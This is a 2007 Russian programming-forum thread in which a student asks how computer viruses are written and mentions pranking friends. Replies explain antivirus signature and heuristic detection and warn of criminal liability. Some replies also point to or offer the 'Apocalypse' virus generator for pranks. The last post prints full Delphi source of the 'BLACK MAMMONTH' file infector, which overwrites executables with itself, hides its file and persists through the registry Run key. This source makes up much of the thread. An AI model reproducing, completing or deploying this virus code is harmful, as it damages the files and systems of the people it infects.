Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Клуб программистов > Свободное общение
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 08.01.2007, 02:31   #1
radist
Пользователь
 
Аватар для radist
 
Регистрация: 17.12.2006
Сообщений: 22
Стрелка ВИРУСЫ

Всегда было интересно как пишутся вирусы, какие они бывают, и по какому принципу работают антивирусные программы, кто эти люди которые пишут вирусы и зачем им это надо, как обезопасить свой компьютер от вирусов и возможно ли небольшому знатоку прораммирования написать что-нибудь этакое? Ну если даже не вирус, а какую нибудь программу с помощью которой можно приколоться над другом, или установить в институте? Может есть обучающая литература, посоветуйте, буду очень рад.
От великого до смешного - один шаг.
radist вне форума Ответить с цитированием
Старый 08.01.2007, 02:37   #2
-=DeS=-
Форумчанин
 
Аватар для -=DeS=-
 
Регистрация: 20.12.2006
Сообщений: 135
По умолчанию

в чём ты кодишь? Кстати я тоже с урала...
writeln('Hello Dude!!!');

Последний раз редактировалось -=DeS=-; 08.01.2007 в 02:46.
-=DeS=- вне форума Ответить с цитированием
Старый 08.01.2007, 08:05   #3
Virtson
Владимир М.
Участник клуба
 
Аватар для Virtson
 
Регистрация: 30.10.2006
Сообщений: 1,289
Сообщение

Цитата:
Сообщение от radist Посмотреть сообщение
какую нибудь программу с помощью которой можно приколоться над другом, или установить в институте?
вот такие люди и пишут.
кто-то из них (кто до всего доходил сам) стал профессионалом, а если знаешь принципы распространения вирусов, то можно делать и защиту от них.. стали они организовавать свои AntiVir компании.

на сайтах антивирусных программ посмотри инфу.
Берегите друг друга!
Virtson вне форума Ответить с цитированием
Старый 08.01.2007, 13:37   #4
execom
Редкий тунеядец
Форумчанин
 
Аватар для execom
 
Регистрация: 29.10.2006
Сообщений: 595
По умолчанию

Да на сайте товарища касперского есть много общедоступной инфы по вирям, и я бы тебе с радостью помог потому что у меня есть очень капитально много инфы и опыта в написании и принципах этих зверьков, но у тебя слишком нехорошие мотивации на счет применения своих знаний и вообще с такими мотивами можно как минимум добиться удаления темы, а максимум лет 5 по 273 ст. УК РФ! НЕ ПРИМЕНЯЙ ПРОТИВ КОГО-ЛИБО КАКИЕ-ЛИБО ИСПОЛНИТЕЛЬНЫЕ КОДЫ, КОТОРЫЕ МОГУТ ПРИВЕСТИ К КОПИРОВАНИЮ, ИЗМЕНЕНИЮ ИЛИ УДАЛЕНИЮ ЛЮБОЙ (НЕ СВОЕЙ) ИНФОРМАЦИИ! Применение вирусов, тем более написанны по принципу: "Помогите разобраться" - это крайняя степень ламеризма, ненавижу "студенческие вирусы" в которых куча багов и недоработок вреда от них обычно немного (исли не додумались врубить формат С), но работают они обычно очень непредсказуемо, и это не форма их защиты, апроявления тупости их создателей! ПОДУМАЙ ПРЕЖДЕ ЧЕМ ЭТО ДЕЛАТЬ, А КАК ПОДУМАЕШЬ - ПОДУМАЙ ЕЩЁ, стоит ли это того!
execom вне форума Ответить с цитированием
Старый 08.01.2007, 16:20   #5
-=DeS=-
Форумчанин
 
Аватар для -=DeS=-
 
Регистрация: 20.12.2006
Сообщений: 135
По умолчанию

В стандартной ситуации антивирус распознаёт вирус следующим образом:
Просто приоритет вирусовости.
Допустим, у тебя есть два файла: один простой бинарник, который просто индексирует все файлы на компе, а другой - бинарник с вшитым туда вирусом, который распространяется по бинарникам.
Оба в своём теле имеют конструкцию, допустим, такую:

код Ассемблера1:
2:
3:

</SPAN>push esi
push edi
call RegisterServiceProcess,1



highlightSyntax('asm_0ZTI3O','asm') ;
Антивирус этим двум файлам ставит приоритет +1. Если Оценка больше 0, антивирус начинает следить за первым запуском файла.
После первого запуска простой бинарник начал сканировать вирусы, и антивирус ему ставит +1. А файл, содержащий вирус, начал дописывать себя в другие программы, антивирус это замечает, и ставит вирусу +8 (этого достаточно, чтобы начать лечение, либо удалять файл), а всем файлам, которые успел заразить вирус, ставит приоритет +1.

Все цифры и код выдуманные мной, а принцип действия антивируса таков.
writeln('Hello Dude!!!');
-=DeS=- вне форума Ответить с цитированием
Старый 08.01.2007, 17:40   #6
execom
Редкий тунеядец
Форумчанин
 
Аватар для execom
 
Регистрация: 29.10.2006
Сообщений: 595
По умолчанию

Обычно используются сигнатуры это выборки из реальносуществующих вирусов! Это не очень удобно по той причине что с увеличением базы скорость сканирования уменьшается! И действительно у всех антивирусов есть зона терпимости когда в файле часть сигнатуры совпадает, но терпимо антивирь при этом молчит! Есть зона подозрительности когда сигнатура совпадает не полностью, но выше терпимого уровня, при этом выдаётся подозрение на какой-то тип вирусов! А когда сигнатура полностью совпало выдаётся сообщение или принимается решение на лечение (удаление)! Так же бывает евристические методы определения вирусов, как мне кажется не очень надёжные, но это другая история!
execom вне форума Ответить с цитированием
Старый 08.01.2007, 18:20   #7
-=DeS=-
Форумчанин
 
Аватар для -=DeS=-
 
Регистрация: 20.12.2006
Сообщений: 135
По умолчанию

вообщем ищи apocalipses 2 вроде так пишется... если хочешь поприкалываться...
writeln('Hello Dude!!!');
-=DeS=- вне форума Ответить с цитированием
Старый 08.01.2007, 19:15   #8
execom
Редкий тунеядец
Форумчанин
 
Аватар для execom
 
Регистрация: 29.10.2006
Сообщений: 595
По умолчанию

Приколисты поздно опомнились... тему с генераторами вирусов я уже удалил и видимо не зря.... Т.к. слишком много злых шутников... А вообще если сильно хочется вот последняя версия Апокалипсес 2.5 686 кб! Я, если честно, от него не в восторге, мне даже паскальные вири значительно больше прикалывают!
execom вне форума Ответить с цитированием
Старый 09.01.2007, 01:45   #9
radist
Пользователь
 
Аватар для radist
 
Регистрация: 17.12.2006
Сообщений: 22
По умолчанию

Цитата:
в чём ты кодишь? Кстати я тоже с урала...
Я изучаю Pascal и Delphi, а живу практически в самом северном городе урала, а называется он Североуральск. Учусь в УГТУ-УПИ, завтра уезжаю на сессию.
Цитата:
Да на сайте товарища касперского есть много общедоступной инфы по вирям, и я бы тебе с радостью помог потому что у меня есть очень капитально много инфы и опыта в написании и принципах этих зверьков, но у тебя слишком нехорошие мотивации на счет применения своих знаний и вообще с такими мотивами можно как минимум добиться удаления темы, а максимум лет 5 по 273 ст. УК РФ!
в принципе я не имел ничего плохого, всего лишь хотел для себя (так сказать для общего развития) узнать о науке создания вирусов. А насчет друга и института - это я так к слову. Спасибо за разъяснения -=DeS=-, Virtson, execom.
От великого до смешного - один шаг.
radist вне форума Ответить с цитированием
Старый 09.01.2007, 12:49   #10
execom
Редкий тунеядец
Форумчанин
 
Аватар для execom
 
Регистрация: 29.10.2006
Сообщений: 595
По умолчанию

Очень часто в инете я встречал этот вирус! Честно говоря нелучший пример - тупой и примитивный, при этом всём очень громозкий и имеет ошибки, но как пример вполне сгодится!
Код:
{$I-} 
{$D-} 
program VirDebug;
uses sysutils, 
windows,
registry, 
classes,
inifiles; //Работа с INI-файлами
ConST VIRLEN= 296960; var
zertva,virus : TFileStream; 
vir,dovesok : array [1..VirLen] OF Char;
result : integer; //результат FindFirst'а
client,sr : TSearchRec;
//Массив имени файла
Name : array [1..8] Of String;
//Массив расширения файла
Ext : array [1..3] Of String;
Info : TINIFILE;
NewName,pr,par,FromF : string; 
Birth : TDateTime;
kill,slay,winvir,NewProga : file; //файлы
infected : boolean; 
check : textfile; 
si : Tstartupinfo;
p : Tprocessinformation;
reg : TRegistry;


function WindowsCopyFile(FromFile, ToDir : string) : boolean;
var
F : TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc := FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
result:=ShFileOperation(F) = 0;
end;

PROCEDURE INFECTFILES;
begin
result:= FindFirst ('c:\INF\*.exe',faAnyFile,client);
WHILE Result= 0 DO 
begin
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage ('c:\INF\'+client.name)))=
'09.08.83 06:00:00' then infected:= true;

IF (client.name<>sr.name) and (infected= false) and
(client.name<>'mammonth.exe') then
begin
Name[1]:= inttostr (random(10));
Name[2]:= inttostr (random(10));
Name[3]:= inttostr (random(10));
Name[4]:= inttostr (random(10));
Name[5]:= inttostr (random(10));
Name[6]:= inttostr (random(10));
Name[7]:= inttostr (random(10));
Name[8]:= inttostr (random(10));
Ext [1]:= inttostr (random(10));
Ext [2]:= inttostr (random(10));
Ext [3]:= inttostr (random(10));
NewName:= name[1]+name[2]+name[3]+name[4]+name[5]+name[6]+name[7]+
name[8]+'.'+ext[1]+ext[2]+ext[3]; //скомпонуем новое имя

AssignFile (Kill,'c:\INF\'+client.name);
ReName (Kill,'c:\INF\files\'+NewName);
//Фиксируем новое имя в нашем каталоге
Info:= TIniFile.create ('c:\inf\filelist.ini');
WiTh info do
begin
WriteString ('FILELIST',client.name,NewName);
free;
end;
//А теперь заразим страшным ВИРУСОМ наш файл!

//Открываем на чтение наш семенной фонд :)
||virus:= TFileStream.create ('c:\inf\mammonth.exe',fmOpenRead);
Virus.Read (vir,VirLen); //Читаем вирус полностью (константу VirLen помнишь?)
//Если клиент поболее нас, но не более чем вдвое,
IF (Client.Size>VirLen) AnD ((Client.Size-VirLen)<=VirLen) then
//то сравняем размеры
begin
Virus.Position:= 1; //Рамка считывания- сначала
Virus.Read (Dovesok,Client.Size-VirLen); //читаем довесок
end;
//перепишем жертву по- нашему
zertva:= TFileStream.create ('c:\inf\'+client.name,fmCreate);
zertva.Write (vir,virlen); //Запишем себя в жертву
IF (client.size>virlen) AND ((Client.size-VirLen)<=VirLen) then
zertva.write (dovesok,client.size-virlen); //И сверху еще довесок
Birth:= StrToDateTime ('09.08.83 06:00:00');
//поставим жертве индикатор зараженности
FileSetDate(Zertva.Handle,DateTimeToFileDate (birth));
Zertva.FREE; //Отпускаем жертву!
Virus.FREE;
end;
Result:= FindNEXT (Client); 
end;
end;

PROCEDURE REGISTRATION;
begin
//первый раз, в первый класс!
MkDir ('c:\inf\files'); 
AssignFile (check,'c:\inf\present.dat'); //Делаем файл-визитку
ReWrite (check);
WriteLn (check,'BLACK MAMMONTH virus is now active in this computer');
CloseFile (check); 
par:= ParamStr (0); 
WindowsCopyFile (Par,'c:\inf\'); 
AssignFile (winvir,'c:\inf\'+sr.name); 
ReName (winvir,'c:\inf\mammonth.exe'); 
Reg:= TRegistry.Create;
//И пусть этот маммонт запускается каждый раз!
FileSetAttr ('c:\inf\mammonth.exe',faHidden);
With Reg do
begin
IF OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true) then
begin
WriteString ('MAMMONTH','c:\windows\mammonth.exe');
CloseKey;
end;
end;
end;

PROCEDURE EXECPROGRAM
begin
Info:= TIniFile.Create ('c:\inf\filelist.ini'); 
FromF:= Info.ReadString ('FILELIST',Sr.Name,'NewName');
//Вытащим из загона нужный файл
WindowsCopyFile ('c:\inf\files\'+FromF,'c:\inf\');
AssignFile (NewProga,'c:\inf\'+FromF);
ReName (NewProga,'c:\inf\'+'_'+Sr.Name); 
PR:= 'c:\inf\'+'_'+Sr.Name;
Info.Free;
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
//Application.Minimize;
Pr:= Pr+#0;
Createprocess(nil,@Pr[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
AssignFile (slay,pr);
Erase (slay);
end.
begin
FindFirst (ParamStr(0),faAnyFile,sr);
AssignFile (check,'c:\inf\present.dat');
Reset (check);
IF IOresult <>0 then begin
REGISTRATION;
INFECTFILES;
HaLt;
end;
IF sr.name= 'mammonth.exe' then
begin
HALT;
end;
INFECTFILES;
EXECPROGRAM;
end.
execom вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Помогите вирусы уже задрали ... Filonenko Софт 17 02.08.2008 10:26
Вирусы!!! Sk!f Свободное общение 29 14.05.2008 18:32
Онлайн проверка компьютера на вирусы! X-man Безопасность, Шифрование 0 26.02.2008 10:28
Какие вирусы ждут вас/нас в 2007 году Virtson Обсуждение статей 9 19.03.2007 05:28